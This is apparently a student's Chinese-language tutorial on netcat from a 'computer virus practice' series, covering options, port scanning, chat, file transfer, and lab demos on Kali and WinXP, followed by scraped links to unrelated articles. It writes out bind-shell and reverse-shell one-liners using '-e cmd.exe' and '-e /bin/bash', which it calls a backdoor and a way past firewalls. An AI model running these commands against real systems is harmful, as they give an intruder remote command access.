计算机病毒实践汇总四:netcat使用方法
在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索。敬请批评指正!
1. netcat概述
(1)特性
“TCP/IP协议栈瑞士军刀”,可以被用在支持端口扫描、隧道、代理、端口转发等的对外连接上。
从标准输入得到数据进行网络传输,它得到的数据可以通过标准输出显示到屏幕上。
连接模式下,作为一个客户端:
nc [-options] hostname [ports]
监听模式下,充当一个服务器:
nc -l -p port [-options] [hostname] [port]
(2)常用参数
| options | 描述 |
|---|---|
| -d | 无命令行界面,使用后台模式 |
| -e [prog] | 程序重定向 |
| -g [gateway] | 源路由跳跃点, 不超过8 |
| -G [num] | 源路由指示器: 4, 8, 12, ... |
| -h | 获取帮助信息 |
| -i [secs] | 延时设置,端口扫描时使用 |
| -l | 监听知道NetCat被结束(可断开重连) |
| -L | 无命令行界面,使用后台模式 |
| -n | 以数字形式表示的IP地址 |
| -o [file] | 使进制记录 |
| -p [port] | 打开本地端口 |
| -r | 随机本地和远程的端口 |
| -s [addr] | 本地源地址 |
| -t | 以TELNET的形式应答入站请求 |
| -u | UDP 模式 |
| -v/-vv | 显示详细信息 |
| -w [secs] | 连接超时设置 |
| -z | I/O 模式(扫描时使用) |
2. 简单命令
- 可以将nc.exe所在目录放进Path中,方便调用
(1)作为客户端
nc -v [ip] [port]
- 扫瞄某IP的某个端口,返回信息详细输出。
nc -v -z [ip] [port]-[port]
扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢
使用netcat可以进行端口扫描。但是Netcat并不是这个工作的最佳工具,可以使用一个更高级的工具:nmap。
nc -nvv [ip] [port]
- 连接到某ip主机的指定端口(需开放)。
(2)作为服务器
nc -l -p 80
- 开启本机的TCP的80端口并监听。
3. 使用netcat实现特定功能
(1)聊天功能
双方一个做服务器,一个做客户端。
服务器首先开启一个端口进行监听:
nc -l -p [port]
然后客户端进行连接:
nc [服务器ip] [port]
此时,双方的输入都会显示在对方机器上:
服务器端:

客户端:

(2)文件传输
双方一个做服务器,一个做客户端。
在服务器上创建并且重定向netcat的输入为待传输文件hyqServer.txt,那么当任何成功连接到该端口,netcat会发送文件内容。
nc -l -p [port] < [待发送文件名]

在客户端我们重定向输出到hyqClient.txt,当连接到服务器端时,服务器端发送文件内容,客户端保存文件内容到当前目录下的指定文件中。
nc -n [服务器ip] [port] > [待保存文件名]

比较两个文件:


由于服务器端使用Linux操作系统,服务器端使用Windows操作系统,对于换行符的解释不通,导致格式不同。但内容没有更改,是完整的。
(3)打开一个Shell
实际上,Netcat更多的用于后门程序。
WinXP作为服务器,开启监听80端口,并选用-v显示详细信息, –e选项指向cmd.exe程序。
nc -lv -p [port] -e cmd.exe
若为Linux系统,可以写做:
nc -lv -p [port] -e /bin/bash
此时,只要有人在所监听的80端口上建立连接,该程序都将执行,并将输出传输出去,即开启了一个后门。

我们可以在kali(作为客户端)中使用IP和相应端口连接WinXP,成功后可以看到输入变成了cmd的模式:
nc -vv [ip] [port]

可以查看到WinXP的目录:

可以进行删除操作:

删除netcat文件夹中的Readme.txt文件:

在WinXP中查看,确实被删除了:

(4)反向Shell
反向shell是指在客户端打开的shell,可以用来绕过防火墙的限制。
使用kali作为服务端打开端口监听:
nc -l -p [port]
WinXP作为客户端打开相同的端口并将程序重定向到命令行:
nc [ip] [port] -e cmd.exe
若客户端为Linux系统,则:
nc [ip] [port] -e /bin/bash
在客户端显示连接上了开放端口5317:

此时,Linux中会反弹回客户端的shell,并可进行操作:

4. 小结
- 本来是病毒实践用于尝试分析的工具,虽然没有深度使用这个工具,但是我觉得这个工具本身的功能很多,如果结合自己编写的脚本应该会更能体现其价值。
- nc是麻雀虽小,五脏俱全,这一特点有好处,也有不足。它优势在于对没有更高要求的简单环境中可以实现多功能。劣势在于每一方面的功能其实都有相应的专门的软件,而这些专门的软件做的比它的功能更强大和深入,就比如端口扫描,我觉得它的性能就不如nmap。
参考资料
参考资料1:NetCat使用介绍
参考资料2:nc 高级使用教程简介
参考资料3:Linux系统中使用netcat命令的奇技淫巧
参考资料4:NetCat代码分析
计算机病毒实践汇总四:netcat使用方法的更多相关文章
- 计算机病毒实践汇总六:IDA Pro基础
在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. IDA使用 (1)搜索.下载并执行IDA Pro,对可执行程序lab05-01.dll进行装载,分别以图形 ...
- 计算机病毒实践汇总二:bufferzone沙盘使用体验
在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. 安装bufferzone及其简单使用 (1)安装BufferZone BufferZone的msi安装文件 ...
- 百度地图和高德地图坐标系的互相转换 四种Sandcastle方法生成c#.net帮助类帮助文档 文档API生成神器SandCastle使用心得 ASP.NET Core
百度地图和高德地图坐标系的互相转换 GPS.谷歌.百度.高德坐标相互转换 一.在进行地图开发过程中,我们一般能接触到以下三种类型的地图坐标系: 1.WGS-84原始坐标系,一般用国际GPS纪录仪记 ...
- Xamarin.Android开发实践(四)
原文:Xamarin.Android开发实践(四) Xamarin.Android下获取与解析JSON 一.新建项目 1.新建一个Android项目,并命名为为NetJsonList 2.右击引用,选 ...
- Android进阶(二十)AndroidAPP开发问题汇总(四)
· Android进阶(二十)AndroidAPP开发问题汇总(四) android:layout_width和android:width的区别 基中的android:layout_width和and ...
- kafka原理和实践(四)spring-kafka消费者源码
系列目录 kafka原理和实践(一)原理:10分钟入门 kafka原理和实践(二)spring-kafka简单实践 kafka原理和实践(三)spring-kafka生产者源码 kafka原理和实践( ...
- App架构师实践指南四之性能优化一
App架构师实践指南四之性能优化一 1.性能维度常见用来衡量App性能的维度如图9-1所示.其中,性能指标包括电池(电量/温度).流量(上行流量/下行流量等).CPU(平均/最大/最小).内存 ...
- #Python编程从入门到实践#第四章笔记
#Python编程从入门到实践#第四章笔记 操作列表 1.遍历列表 使用for循环,遍历values列表 for value in values: print(value) 2.数字列表 使 ...
- Git工程开发实践(四)——Git分支管理策略
A successful Git branching model https://nvie.com/posts/a-successful-git-branching-model/ Git工程开发实践( ...
随机推荐
- java中,去除空白的方法
有时候,我们页面传过来的值,或者做excel导入时填入的值都需要去掉像空格一样的一些特殊字符,下面这个方法可去掉像制表符,换行键,回车,空格或者不在ACSII中 的特殊字符 /** * 去除字符串开始 ...
- AJAX部分---对比js做日期的下拉选择 和 ajax做三级联动;
js做日期选择: 实现当前年份的前5后5年的日期选择 实现功能:年份和月份页面加载完成使用JS循环添加,天数根据月份的变化动态添加改变 扩展功能:天数可以根据闰年平年变化 <body> & ...
- 《C与指针》第一章练习
本章例程 程序1.1 重排字符 #include <stdio.h> #include <stdlib.h> #include <string.h> #define ...
- Windows下RCNN的使用
RCNN 一种把目标图像分割转化为CNN分类问题进行目标检测的方法. 以下转自魏晋的知乎回答 Ross B. Girshick的RCNN使用region proposal(具体用的是Selecti ...
- Sql日期时间格式转换(转)
原文出自:http://www.cnblogs.com/Gavinzhao/archive/2009/11/10/1599690.html sql server2000中使用convert来取得dat ...
- Windows环境下使用Redis缓存工具的图文详细方法
一.简介 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合)和zset(有序集合). ...
- 【转】编译quickfast解析库(沪深level2行情转码库)
转自http://blog.csdn.net/hacode/article/details/7065889 编译quickfast解析库(沪深level2行情转码库) 目录(?)[-] 1 下载源代 ...
- gulp.js简单操作
一.安装gulp 1.深入设置任务之前,需先安装gulp: $ npm install gulp -g 2.这会将gulp安装到全域环境下,让你可以存取gulp的CLI.接著,需要在本地端的专案进行安 ...
- 互斥锁(Mutex)
互斥锁(Mutex)互斥锁是一个互斥的同步对象,意味着同一时间有且仅有一个线程可以获取它.互斥锁可适用于一个共享资源每次只能被一个线程访问的情况 函数://创建一个处于未获取状态的互斥锁Public ...
- 使用它tshark分析pcap的例子以及scapy下载地址
转一篇cisco工作人员使用tshark分析pcap的文章,以及scapy的下载地址 http://blogs.cisco.com/security/finding-a-needle-in-a-pca ...